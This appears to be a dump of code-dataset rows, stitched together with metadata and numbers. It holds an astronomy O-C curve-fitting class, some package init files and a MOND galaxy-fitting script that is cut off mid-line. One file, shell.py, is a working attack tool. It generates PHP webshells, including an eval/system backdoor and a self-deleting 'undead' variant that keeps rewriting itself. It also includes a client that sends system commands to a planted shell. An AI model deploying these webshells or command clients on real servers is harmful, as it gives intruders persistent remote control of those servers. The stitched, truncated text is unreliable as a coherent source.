chi2 error alfa=chi0/(n-len(self.fit_params)) #coefficient between old and new errors -> chi2_r = 1 err*=np.sqrt(alfa) #new errors chi=sum(((self.oc-model)/err)**2) #calculate new chi2 error print 'New chi2:',chi,chi/(n-len(self.fit_params)) self._calc_err=True self._set_err=False self.err=err return err def Plot(self,name=None,no_plot=0,no_plot_err=0,params=None,eps=False,oc_min=True, time_type='JD',offset=2400000,trans=True,title=None,epoch=False, min_type=False,weight=None,trans_weight=False,model2=False,with_res=False, bw=False,double_ax=False,legend=None,fig_size=None): '''plotting original O-C with model O-C based on current parameters set name - name of file to saving plot (if not given -> show graph) no_plot - number of outlier point which will not be plot no_plot_err - number of errorful point which will not be plot params - set of params of current model (if not given -> current parameters set) eps - save also as eps file oc_min - O-C in minutes (if False - days) time_type - type of JD in which is time (show in x label) offset - offset of time trans - transform time according to offset title - name of graph epoch - x axis in epoch min_type - distinction of type of minimum weight - weight of data (shown as size of points) trans_weight - transform weights to range (1,10) model2 - plot 2 model O-Cs - current params set and set given in "params" with_res - common plot with residue bw - Black&White plot double_ax - two axes -> time and epoch legend - labels for data and model(s) - give '' if no show label, 2nd model given in "params" is the last fig_size - custom figure size - e.g. (12,6) warning: weights have to be in same order as input data! ''' if epoch: if not len(self.epoch)==len(self.t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') if model2: if params is None: raise ValueError('Parameters set for 2nd model not given!') params_model=dict(params) params=self.params if params is None: params=self.params if legend is None: legend=['','',''] show_legend=False else: show_legend=True if fig_size: fig=mpl.figure(figsize=fig_size) else: fig=mpl.figure() #2 plots - for residue if with_res: gs=gridspec.GridSpec(2,1,height_ratios=[4,1]) ax1=fig.add_subplot(gs[0]) ax2=fig.add_subplot(gs[1],sharex=ax1) else: ax1=fig.add_subplot(1,1,1) ax2=ax1 ax1.yaxis.set_label_coords(-0.11,0.5) #setting labels if epoch and not double_ax: ax2.set_xlabel('Epoch') x=self.epoch elif offset>0: ax2.set_xlabel('Time ('+time_type+' - '+str(offset)+')') if not trans: offset=0 x=self.t-offset else: ax2.set_xlabel('Time ('+time_type+')') offset=0 x=self.t if oc_min: ax1.set_ylabel('O - C (min)') k=minutes else: ax1.set_ylabel('O - C (d)') k=1 if title is not None: if double_ax: fig.subplots_adjust(top=0.85) fig.suptitle(title,fontsize=20) model=self.Model(self.t,params) self.res=self.oc-model #primary / secondary minimum if min_type: if not len(self.epoch)==len(self.t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') prim=np.where(self._min_type==0) sec=np.where(self._min_type==1) else: prim=np.arange(0,len(self.t),1) sec=np.array([]) #set weight set_w=False if weight is not None: weight=np.array(weight)[self._order] if trans_weight: w_min=min(weight) w_max=max(weight) weight=9./(w_max-w_min)*(weight-w_min)+1 if weight.shape==self.t.shape: w=[] levels=[0,3,5,7.9,10] size=[3,4,5,7] for i in range(len(levels)-1): w.append(np.where((weight>levels[i])*(weight<=levels[i+1]))) w[-1]=np.append(w[-1],np.where(weight>levels[-1])) #if some weight is bigger than max. level set_w=True else: warnings.warn('Shape of "weight" is different to shape of "time". Weight will be ignore!') errors=GetMax(abs(model-self.oc),no_plot) #remove outlier points if bw: color='k' else: color='b' if set_w: #using weights prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: for i in range(len(w)): ax1.plot(x[prim[np.where(np.in1d(prim,w[i]))]], (self.oc*k)[prim[np.where(np.in1d(prim,w[i]))]],color+'o',markersize=size[i],label=legend[0],zorder=1) if not len(sec)==0: for i in range(len(w)): ax1.plot(x[sec[np.where(np.in1d(sec,w[i]))]], (self.oc*k)[sec[np.where(np.in1d(sec,w[i]))]],color+'o',markersize=size[i], fillstyle='none',markeredgewidth=1,markeredgecolor=color,label=legend[0],zorder=1) else: #without weight if self._set_err: #using errors if self._corr_err: err=self._old_err else: err=self.err errors=np.append(errors,GetMax(err,no_plot_err)) #remove errorful points prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: ax1.errorbar(x[prim],(self.oc*k)[prim],yerr=(err*k)[prim],fmt=color+'o',markersize=5,label=legend[0],zorder=1) if not len(sec)==0: ax1.errorbar(x[sec],(self.oc*k)[sec],yerr=(err*k)[sec],fmt=color+'o',markersize=5, fillstyle='none',markeredgewidth=1,markeredgecolor=color,label=legend[0],zorder=1) else: #without errors prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: ax1.plot(x[prim],(self.oc*k)[prim],color+'o',label=legend[0],zorder=1) if not len(sec)==0: ax1.plot(x[sec],(self.oc*k)[sec],color+'o',label=legend[0], mfc='none',markeredgewidth=1,markeredgecolor=color,zorder=1) #expand time interval for model O-C if len(self.t)<1000: if 't0' in params: old_epoch=self.epoch dE=(self.epoch[-1]-self.epoch[0])/1000. E=np.linspace(self.epoch[0]-50*dE,self.epoch[-1]+50*dE,1100) t1=params['t0']+params['P']*E self.epoch=E elif epoch: dE=(self.epoch[-1]-self.epoch[0])/1000. E=np.linspace(self.epoch[0]-50*dE,self.epoch[-1]+50*dE,1100) t1=self._t0P[0]+self._t0P[1]*E else: dt=(self.t[-1]-self.t[0])/1000. t1=np.linspace(self.t[0]-50*dt,self.t[-1]+50*dt,1100) else: if 't0' in params: old_epoch=self.epoch dE=(self.epoch[-1]-self.epoch[0])/len(self.epoch) E=np.linspace(self.epoch[0]-0.05*len(self.epoch)*dE,self.epoch[-1]+0.05*len(self.epoch)*dE,int(1.1*len(self.epoch))) t1=params['t0']+params['P']*E self.epoch=E elif epoch: dE=(self.epoch[-1]-self.epoch[0])/len(self.epoch) E=np.linspace(self.epoch[0]-0.05*len(self.epoch)*dE,self.epoch[-1]+0.05*len(self.epoch)*dE,int(1.1*len(self.epoch))) t1=self._t0P[0]+self._t0P[1]*E else: dt=(self.t[-1]-self.t[0])/len(self.t) t1=np.linspace(self.t[0]-0.05*len(self.t)*dt,self.t[-1]+0.05*len(self.t)*dt,int(1.1*len(self.t))) if bw: color='k' lw=2 else: color='r' lw=1 if self.model=='Apsidal': #primary model_long=self.Model(t1,params,min_type=np.zeros(t1.shape)) if epoch and not double_ax: ax1.plot(E,model_long*k,color,linewidth=lw,label=legend[1],zorder=2) else: ax1.plot(t1-offset,model_long*k,color,linewidth=lw,label=legend[1],zorder=2) #secondary model_long=self.Model(t1,params,min_type=np.ones(t1.shape)) if epoch and not double_ax: ax1.plot(E,model_long*k,color,linewidth=lw,label=legend[1],zorder=2) else: ax1.plot(t1-offset,model_long*k,color,linewidth=lw,label=legend[1],zorder=2) else: model_long=self.Model(t1,params) if epoch and not double_ax: ax1.plot(E,model_long*k,color,linewidth=lw,label=legend[1],zorder=2) else: ax1.plot(t1-offset,model_long*k,color,linewidth=lw,label=legend[1],zorder=2) if model2: #plot second model if bw: color='k' lt='--' else: color='g' lt='-' model_set=self.Model(t1,params_model) if epoch and not double_ax: ax1.plot(E,model_set*k,color+lt,linewidth=lw,label=legend[2],zorder=3) else: ax1.plot(t1-offset,model_set*k,color+lt,linewidth=lw,label=legend[2],zorder=3) if show_legend: ax1.legend() if 't0' in params: self.epoch=old_epoch if double_ax: #setting secound axis if not len(self.epoch)==len(self.t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') ax3=ax1.twiny() #generate plot to obtain correct axis in epoch #expand time interval for model O-C if len(self.t)<1000: dE=(self.epoch[-1]-self.epoch[0])/1000. E=np.linspace(self.epoch[0]-50*dE,self.epoch[-1]+50*dE,1100) else: dE=(self.epoch[-1]-self.epoch[0])/len(self.epoch) E=np.linspace(self.epoch[0]-0.05*len(self.epoch)*dE,self.epoch[-1]+0.05*len(self.epoch)*dE,int(1.1*len(self.epoch))) l=ax3.plot(E,model_long*k) ax3.set_xlabel('Epoch') l.pop(0).remove() lims=np.array(ax1.get_xlim()) epoch=np.round((lims-self._t0P[0])/self._t0P[1]*2)/2. ax3.set_xlim(epoch) if with_res: #plot residue if bw: color='k' else: color='b' if oc_min: ax2.set_ylabel('Residue (min)') else: ax2.set_ylabel('Residue (d)') ax2.yaxis.set_label_coords(-0.1,0.5) m=round(abs(max(-min(self.res),max(self.res)))*k,2) ax2.set_autoscale_on(False) ax2.set_ylim([-m,m]) ax2.yaxis.set_ticks(np.array([-m,0,m])) ax2.plot(x,self.res*k,color+'o') ax2.xaxis.labelpad=15 ax2.yaxis.labelpad=15 mpl.subplots_adjust(hspace=.07) mpl.setp(ax1.get_xticklabels(),visible=False) if name is None: mpl.show() else: mpl.savefig(name+'.png') if eps: mpl.savefig(name+'.eps') mpl.close(fig) def PlotRes(self,name=None,no_plot=0,no_plot_err=0,params=None,eps=False,oc_min=True, time_type='JD',offset=2400000,trans=True,title=None,epoch=False, min_type=False,weight=None,trans_weight=False,bw=False,double_ax=False, fig_size=None): '''plotting residue (new O-C) name - name of file to saving plot (if not given -> show graph) no_plot - count of outlier point which will not be plot no_plot_err - count of errorful point which will not be plot params - set of params of current model (if not given -> current parameters set) eps - save also as eps file oc_min - O-C in minutes (if False - days) time_type - type of JD in which is time (show in x label) offset - offset of time trans - transform time according to offset title - name of graph epoch - x axis in epoch min_type - distinction of type of minimum weight - weight of data (shown as size of points) trans_weight - transform weights to range (1,10) bw - Black&White plot double_ax - two axes -> time and epoch fig_size - custom figure size - e.g. (12,6) warning: weights have to be in same order as input data! ''' if epoch: if not len(self.epoch)==len(self.t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') if params is None: params=self.params if fig_size: fig=mpl.figure(figsize=fig_size) else: fig=mpl.figure() ax1=fig.add_subplot(1,1,1) ax1.yaxis.set_label_coords(-0.11,0.5) #setting labels if epoch and not double_ax: ax1.set_xlabel('Epoch') x=self.epoch elif offset>0: ax1.set_xlabel('Time ('+time_type+' - '+str(offset)+')') if not trans: offset=0 x=self.t-offset else: ax1.set_xlabel('Time ('+time_type+')') offset=0 x=self.t if oc_min: ax1.set_ylabel('Residue O - C (min)') k=minutes else: ax1.set_ylabel('Residue O - C (d)') k=1 if title is not None: if double_ax: fig.subplots_adjust(top=0.85) fig.suptitle(title,fontsize=20) model=self.Model(self.t,params) self.res=self.oc-model #primary / secondary minimum if min_type: if not len(self.epoch)==len(self.t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') prim=np.where(self._min_type==0) sec=np.where(self._min_type==1) else: prim=np.arange(0,len(self.t),1) sec=np.array([]) #set weight set_w=False if weight is not None: weight=np.array(weight)[self._order] if trans_weight: w_min=min(weight) w_max=max(weight) weight=9./(w_max-w_min)*(weight-w_min)+1 if weight.shape==self.t.shape: w=[] levels=[0,3,5,7.9,10] size=[3,4,5,7] for i in range(len(levels)-1): w.append(np.where((weight>levels[i])*(weight<=levels[i+1]))) w[-1]=np.append(w[-1],np.where(weight>levels[-1])) #if some weight is bigger than max. level set_w=True else: warnings.warn('Shape of "weight" is different to shape of "time". Weight will be ignore!') errors=GetMax(abs(self.res),no_plot) #remove outlier points if bw: color='k' else: color='b' if set_w: #using weights prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: for i in range(len(w)): mpl.plot(x[prim[np.where(np.in1d(prim,w[i]))]], (self.res*k)[prim[np.where(np.in1d(prim,w[i]))]],color+'o',markersize=size[i]) if not len(sec)==0: for i in range(len(w)): mpl.plot(x[sec[np.where(np.in1d(sec,w[i]))]], (self.res*k)[sec[np.where(np.in1d(sec,w[i]))]],color+'o',markersize=size[i], fillstyle='none',markeredgewidth=1,markeredgecolor=color) else: #without weight if self._set_err: #using errors if self._corr_err: err=self._old_err else: err=self.err errors=np.append(errors,GetMax(err,no_plot_err)) #remove errorful points prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: mpl.errorbar(x[prim],(self.res*k)[prim],yerr=(err*k)[prim],fmt=color+'o',markersize=5) if not len(sec)==0: mpl.errorbar(x[sec],(self.res*k)[sec],yerr=(err*k)[sec],fmt=color+'o',markersize=5, fillstyle='none',markeredgewidth=1,markeredgecolor=color) else: #without errors prim=np.delete(prim,np.where(np.in1d(prim,errors))) sec=np.delete(sec,np.where(np.in1d(sec,errors))) if not len(prim)==0: mpl.plot(x[prim],(self.res*k)[prim],color+'o') if not len(sec)==0: mpl.plot(x[sec],(self.res*k)[sec],color+'o', mfc='none',markeredgewidth=1,markeredgecolor=color) if double_ax: #setting secound axis if not len(self.epoch)==len(self.t): raise NameError('Epoch not callculated! Run function "Epoch" before it.') ax2=ax1.twiny() #generate plot to obtain correct axis in epoch l=ax2.plot(self.epoch,self.res*k) ax2.set_xlabel('Epoch') l.pop(0).remove() lims=np.array(ax1.get_xlim()) epoch=np.round((lims-self._t0P[0])/self._t0P[1]*2)/2. ax2.set_xlim(epoch) if name is None: mpl.show() else: mpl.savefig(name+'.png') if eps: mpl.savefig(name+'.eps') mpl.close(fig) def SaveModel(self,name,E_min=None,E_max=None,n=1000,params=None,t0=None,P=None): '''save model curve of O-C to file name - name of output file E_min - minimal value of epoch E_max - maximal value of epoch n - number of data points params - parameters of model (if not given, used "params" from class) t0 - time of zeros epoch (necessary if not given in model or epoch not calculated) P - period (necessary if not given in model or epoch not calculated) ''' if params is None: params=self.params #get linear ephemeris if 't0' in params: t0=params['t0'] elif len(self.epoch)==len(self.t): t0=self._t0P[0] elif t0 is None: raise TypeError('t0 is not given!') if 'P' in params: P=params['P'] elif len(self.epoch)==len(self.t): P=self._t0P[1] elif P is None: raise TypeError('P is not given!') old_epoch=self.epoch if not len(self.epoch)==len(self.t): self.Epoch(t0,P) #same interval of epoch like in plot if len(self.epoch)<1000: dE=50*(self.epoch[-1]-self.epoch[0])/1000. else: dE=0.05*(self.epoch[-1]-self.epoch[0]) if E_min is None: E_min=min(self.epoch)-dE if E_max is None: E_max=max(self.epoch)+dE self.epoch=np.linspace(E_min,E_max,n) t=t0+P*self.epoch if self.model=='Apsidal': typeA=np.append(np.zeros(t.shape),np.ones(t.shape)) t=np.append(t,t) self.epoch=np.append(self.epoch,self.epoch) i=np.argsort(np.append(np.arange(0,len(t),2),np.arange(1,len(t),2))) t=t[i] typeA=typeA[i] self.epoch=self.epoch[i] model=self.Model(t,params,min_type=typeA) f=open(name,'w') np.savetxt(f,np.column_stack((t+model,self.epoch,model,typeA)), fmt=["%14.7f",'%10.3f',"%+12.10f","%1d"] ,delimiter=' ',header='Obs. Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ')+' model O-C'.ljust(13,' ')+' type') f.close() else: model=self.Model(t,params) f=open(name,'w') np.savetxt(f,np.column_stack((t+model,self.epoch,model)),fmt=["%14.7f",'%10.3f',"%+12.10f"] ,delimiter=' ',header='Obs. Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' model O-C') f.close() self.epoch=old_epoch def SaveRes(self,name,params=None,t0=None,P=None,weight=None): '''save residue to file name - name of output file params - parameters of model (if not given, used "params" from class) t0 - time of zeros epoch (necessary if not given in model or epoch not calculated) P - period (necessary if not given in model or epoch not calculated) weight - weights of input data points warning: weights have to be in same order as input date! ''' if params is None: params=self.params #get linear ephemeris if 't0' in params: t0=params['t0'] elif len(self.epoch)==len(self.t): t0=self._t0P[0] elif t0 is None: raise TypeError('t0 is not given!') if 'P' in params: P=params['P'] elif len(self.epoch)==len(self.t): P=self._t0P[1] elif P is None: raise TypeError('P is not given!') old_epoch=self.epoch if not len(self.epoch)==len(self.t): self.Epoch(self.t,t0,P) model=self.Model(self.t,params) self.res=self.oc-model f=open(name,'w') if self._set_err: if self._corr_err: err=self._old_err else: err=self.err np.savetxt(f,np.column_stack((self.t,self.epoch,self.res,err)), fmt=["%14.7f",'%10.3f',"%+12.10f","%.10f"],delimiter=" ", header='Obs. Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' '+'new O-C'.ljust(10,' ')+' Error') elif weight is not None: np.savetxt(f,np.column_stack((self.t,self.epoch,self.res,np.array(weight)[self._order])), fmt=["%14.7f",'%10.3f',"%+12.10f","%.10f"],delimiter=" ", header='Obs. Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' '+'new O-C'.ljust(12,' ')+' Weight') else: np.savetxt(f,np.column_stack((self.t,self.epoch,self.res)), fmt=["%14.7f",'%10.3f',"%+12.10f"],delimiter=" ", header='Obs. Time'.ljust(14,' ')+' '+'Epoch'.ljust(10,' ') +' new O-C') f.close() self.epoch=old_epoch class OCFitLoad(OCFit): '''loading saved data, model... from OCFit class''' def __init__(self,path): '''loading data, model, parameters... from file''' self._order=[] self.t=[] #times self.oc=[] #O-Cs self.err=[] #errors self._set_err=False self.limits={} #limits of parameters for fitting self.steps={} #steps (width of normal distibution) of parameters for fitting self.params={} #values of parameters, fixed values have to be set here self.params_err={} #errors of fitted parameters self.paramsMore={} #values of parameters calculated from model params self.paramsMore_err={} #errors of calculated parameters self.fit_params=[] #list of fitted parameters self._calc_err=False #errors were calculated self._corr_err=False #errors were corrected self._old_err=[] #given errors self.model='LiTE3' #used model of O-C self._t0P=[] #linear ephemeris of binary self.epoch=[] #epoch of binary self.res=[] #residua = new O-C self._min_type=[] #type of minima (primary=0 / secondary=1) self.availableModels=['LiTE3','LiTE34','LiTE3Quad','LiTE34Quad',\ 'AgolInPlanet','AgolInPlanetLin','AgolExPlanet',\ 'AgolExPlanetLin','Apsidal'] #list of available models self.Load(path)

42.987189

200

0.527678

16,749

117,441

3.631142

0.048301

0.037489

0.031307

0.00855

0.800783

0.762439

0.736509

0.715857

0.694811

0.673666

0

0.040658

0.322085

117,441

2,731

201

43.002929

0.723243

0.082416

0

0.621767

0

0.056855

0.001571

0.005927

0

null

0.000539

0.008082

null

0.010776

0

null

0

1

0

1

0

null

0

1

0

6

0034def974416db2f7cda324dc24b8c3281f73c2

138

py

Python

dense/fc_densenet/__init__.py

ibrahimgh25/EL-GAN-Implementation

bff0766e682a6441bb27b3a3aa5cf136202564b5

[ "MIT" ]

4

2021-09-07T10:03:48.000Z

2022-03-11T19:11:00.000Z

dense/fc_densenet/__init__.py

ibrahimgh25/EL-GAN-Implementation

bff0766e682a6441bb27b3a3aa5cf136202564b5

[ "MIT" ]

null

dense/fc_densenet/__init__.py

ibrahimgh25/EL-GAN-Implementation

bff0766e682a6441bb27b3a3aa5cf136202564b5

[ "MIT" ]

null

from .fc_densenet import FCDenseNet from .transition_up import TransitionUp, CenterCropConcat from .transition_down import TransitionDown

34.5

57

0.876812

16

138

7.375

0.6875

0.237288

0

0.094203

138

3

58

46

0.944

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

cc69088671d22a3632f7296b2476e02cdebad808

26

py

Python

autorch/transferlearning/__init__.py

skywalker0803r/autorch

b71adb2c010556d4e7895304e46a1545a347ffa6

[ "MIT" ]

null

autorch/transferlearning/__init__.py

skywalker0803r/autorch

b71adb2c010556d4e7895304e46a1545a347ffa6

[ "MIT" ]

null

autorch/transferlearning/__init__.py

skywalker0803r/autorch

b71adb2c010556d4e7895304e46a1545a347ffa6

[ "MIT" ]

null

from .wadda import WADDA

8.666667

24

0.769231

4

26

5

0.75

0

0.192308

26

2

25

13

0.952381

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

cc725c5e8e35a2ad056e66e6ffc692bf416ab421

21

py

Python

detector/__init__.py

TropComplique/single-shot-detector

3714d411305f1a55bebb7e38ee58dfea70aa328d

[ "MIT" ]

17

2018-02-19T08:45:39.000Z

2021-05-14T10:59:05.000Z

detector/__init__.py

lly8752/single-shot-detector

3714d411305f1a55bebb7e38ee58dfea70aa328d

[ "MIT" ]

4

2018-02-19T07:40:06.000Z

2020-03-19T12:31:13.000Z

detector/__init__.py

lly8752/single-shot-detector

3714d411305f1a55bebb7e38ee58dfea70aa328d

[ "MIT" ]

7

2018-12-11T14:39:24.000Z

2020-08-07T09:34:52.000Z

from .ssd import SSD

10.5

20

0.761905

4

21

4

0.75

0

0.190476

21

1

21

0.941176

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

4e12e6a96903de0351b286b9705bb40f1a3289ce

283

py

Python

vega/modules/arch/__init__.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

724

2020-06-22T12:05:30.000Z

2022-03-31T07:10:54.000Z

vega/modules/arch/__init__.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

147

2020-06-30T13:34:46.000Z

2022-03-29T11:30:17.000Z

vega/modules/arch/__init__.py

jie311/vega

1bba6100ead802697e691403b951e6652a99ccae

[ "MIT" ]

160

2020-06-29T18:27:58.000Z

2022-03-23T08:42:21.000Z

from .architecture import transform_architecture from .combiner import ConnectionsArchParamsCombiner from .prune_arch import Conv2dPruneArchitecture, BatchNorm2dPruneArchitecture from .double_channels_arch import Conv2dDoubleChannelArchitecture, BatchNorm2dDoubleChannelArchitecture

56.6

103

0.915194

22

283

11.590909

0.636364

0.078431

0

0.015094

0.063604

283

4

104

70.75

0.94717

0

1

0

true

0

1

0

1

0

1

0

1

null

0

1

0

null

0

1

0

1

0

1

0

6

9d96b97d553e5f5b29fba5f69fe20be2784f78e8

3,120

py

Python

awdphpspear/shell.py

hillmanyoung/AWD

6abe8f96c1b457a22f0bb15ca6ed901e922fc38c

[ "MIT" ]

146

2019-07-05T12:36:33.000Z

2021-12-05T18:20:26.000Z

awdphpspear/shell.py

ZacharyZcR/AWD-

6abe8f96c1b457a22f0bb15ca6ed901e922fc38c

[ "MIT" ]

null

awdphpspear/shell.py

ZacharyZcR/AWD-

6abe8f96c1b457a22f0bb15ca6ed901e922fc38c

[ "MIT" ]

36

2019-07-05T12:38:21.000Z

2021-05-26T11:44:13.000Z

import requests import os def shell_gen(): choose = raw_input('[+]1.Normal Shell.2.Undead Shell.3.Memory Shell.') if choose == '1': try: payload = '<?php ' payload += '@eval($_POST[a]);@system($_POST[b]);' payload += '?>' file = open('shell.php',"a") file.write(payload) file.close() print "[+]Succeed." except: print "[-]Failed." if choose == '2': try: payload = '<?php ' payload += 'ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file=' payload += "'" payload += "shell.php" payload += "'" payload += ';$code=' payload += "'" payload += '<?php @eval($_POST[a]);@system($_POST[b]); ?>' payload += "'" payload += ';while(1){file_put_contents($file,$code);usleep(5000);}' payload += '?>' file = open('shell.php',"a") file.write(payload) file.close() print "[+]Succeed." except: print "[-]Failed." if choose == '3': try: payload = '<?php ' payload += 'ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);' payload += '' payload += 'while(1){php @eval($_POST[a]);@system($_POST[b]);usleep(5000);}' payload += '?>' file = open('shell.php',"a") file.write(payload) file.close() print "[+]Succeed." except: print "[-]Failed." def rce(address,password,method): while 1: command = raw_input('Command(Input stop to exit):') if command == 'stop': break if method == 'get': print "*******************************************************" try: data = {password:"system('"+command+"');"} r = requests.get(address,params=data) if r.text != '': print address,":" print r.text print "*******************************************************" except: print "[-]Rce Failed." print "*******************************************************" if method == 'post': print "*******************************************************" try: data = {password:"system('"+command+"');"} r = requests.post(address,data=data) if r.text != '': print address,":" print r.text print "*******************************************************" except: print "[-]Rce Failed." print "*******************************************************" def batch_rce(address,password,method,command): if method == 'get': print "*******************************************************" try: data = {password:"system('"+command+"');"} r = requests.get(address,params=data) if r.text != '': print address,":" print r.text print "*******************************************************" except: print "[-]Rce Failed." print "*******************************************************" if method == 'post': print "*******************************************************" try: data = {password:"system('"+command+"');"} r = requests.post(address,data=data) if r.text != '': print address,":" print r.text print "*******************************************************" except: print "[-]Rce Failed." print "*******************************************************"

30

81

0.441667

297

3,120

4.545455

0.208754

0.02963

0.059259

0.737037

0.682963

0

0.007405

0.177564

3,120

104

82

30

0.518706

0

0.782178

0

0.009901

0.423262

0.307914

0

null

0.059406

0.019802

null

0.29703

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

6

9dce8d1503ef17db6b55516a6af14137551f1317

228

py

Python

src/coalescenceml/integrations/xgboost/producers/__init__.py

bayoumi17m/CoalescenceML

0ffa6cc88e6d1d98fe16572e6f509d5d3be09501

[ "Apache-2.0" ]

1

2022-03-22T17:48:55.000Z

src/coalescenceml/integrations/xgboost/producers/__init__.py

bayoumi17m/CoalescenceML

0ffa6cc88e6d1d98fe16572e6f509d5d3be09501

[ "Apache-2.0" ]

2

2022-02-18T18:48:12.000Z

2022-02-19T18:14:38.000Z

src/coalescenceml/integrations/xgboost/producers/__init__.py

bayoumi17m/CoalescenceML

0ffa6cc88e6d1d98fe16572e6f509d5d3be09501

[ "Apache-2.0" ]

1

2022-02-10T02:52:22.000Z

from coalescenceml.integrations.xgboost.producers.xgboost_booster_producer import ( XgboostBoosterProducer, ) from coalescenceml.integrations.xgboost.producers.xgboost_dmatrix_producer import ( XgboostDMatrixProducer, )

32.571429

83

0.850877

20

228

9.5

0.55

0.178947

0.305263

0.378947

0.547368

0

0.087719

228

6

84

38

0.913462

0

1

0

true

0

0.333333

0

0.333333

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

9dd5acefbef1f337c40668a4c50864e1479ffcf9

102,813

py

Python

MOND_Python_getDist_levels_5th_30gal_run2.py

alefefreire/Machine-Learning-for-Science

dcf8649db0b38e6c5e0e7c0af0771ee85b31a85d

[ "MIT" ]

null

MOND_Python_getDist_levels_5th_30gal_run2.py

alefefreire/Machine-Learning-for-Science

dcf8649db0b38e6c5e0e7c0af0771ee85b31a85d

[ "MIT" ]

null

MOND_Python_getDist_levels_5th_30gal_run2.py

alefefreire/Machine-Learning-for-Science

dcf8649db0b38e6c5e0e7c0af0771ee85b31a85d

[ "MIT" ]

null

from __future__ import print_function import numpy import pandas as pd import csv import matplotlib.pyplot as plot from matplotlib.ticker import MaxNLocator from scipy.interpolate import interp1d import scipy.optimize as op import scipy from scipy import * from scipy.special import expi #import lmfit #from lmfit import minimize, Minimizer, Parameters, Parameter, report_fit #import emcee #from emcee import PTSampler from matplotlib import rcParams import time from scipy.interpolate import InterpolatedUnivariateSpline import sys sys.path.insert(0,r'c:\work\dist\git\getdist') import getdist from getdist import plots, MCSamples #import getdist, IPython import pylab as plt print('GetDist Version: %s, Matplotlib version: %s'%(getdist.__version__, plt.matplotlib.__version__)) #matplotlib 2 doesn't seem to work well without usetex on plt.rcParams['text.usetex']=True labels=[r"$\log_{10} a_0$",r"$\log_{10}\Upsilon_{*d}$",r"$\delta$", r"$\Delta i$"] labels_with_bulge=[r"$\log_{10} a_0$",r"$\log_{10}\Upsilon_{*d}$",r"$\log_{10}\Upsilon_{*b}$",r"$\delta$", r"$\Delta i$"] names=["log10_a0","log10_YD","df2","Dinc"] names_with_bulge=["log10_a0","log10_YD","log10_YB","df2","Dinc"] ndim=len(labels) ndim_with_bulge=len(labels_with_bulge) full_chain_UGC06930 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC06930.csv',usecols=[1,2,3,4]) data_array_chain_UGC06930 = numpy.array(full_chain_UGC06930) mle_soln_UGC06930=[] for i in range(ndim): mcmc_UGC06930 = numpy.percentile(data_array_chain_UGC06930[:, i], [16, 50, 84]) q_UGC06930 = numpy.diff(mcmc_UGC06930) mle_soln_UGC06930.append(mcmc_UGC06930[1]) log10_a0_sol_UGC06930=mle_soln_UGC06930[0] log10_YD_sol_UGC06930=mle_soln_UGC06930[1] df2_sol_UGC06930=mle_soln_UGC06930[2] Dinc_sol_UGC06930=mle_soln_UGC06930[3] samp_UGC06930 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC06930,names = names, labels = labels) samp_UGC06930.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC06930 = samp_UGC06930.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC06930 low=log10_a0_sol_UGC06930-stats_UGC06930.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC06930.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC06930 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC06930 low=log10_YD_sol_UGC06930-stats_UGC06930.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC06930.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC06930 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC06930-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC06930 low=df2_sol_UGC06930-stats_UGC06930.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC06930.parWithName('df2').limits[i].upper- df2_sol_UGC06930 up_str='%s'%up text_file = 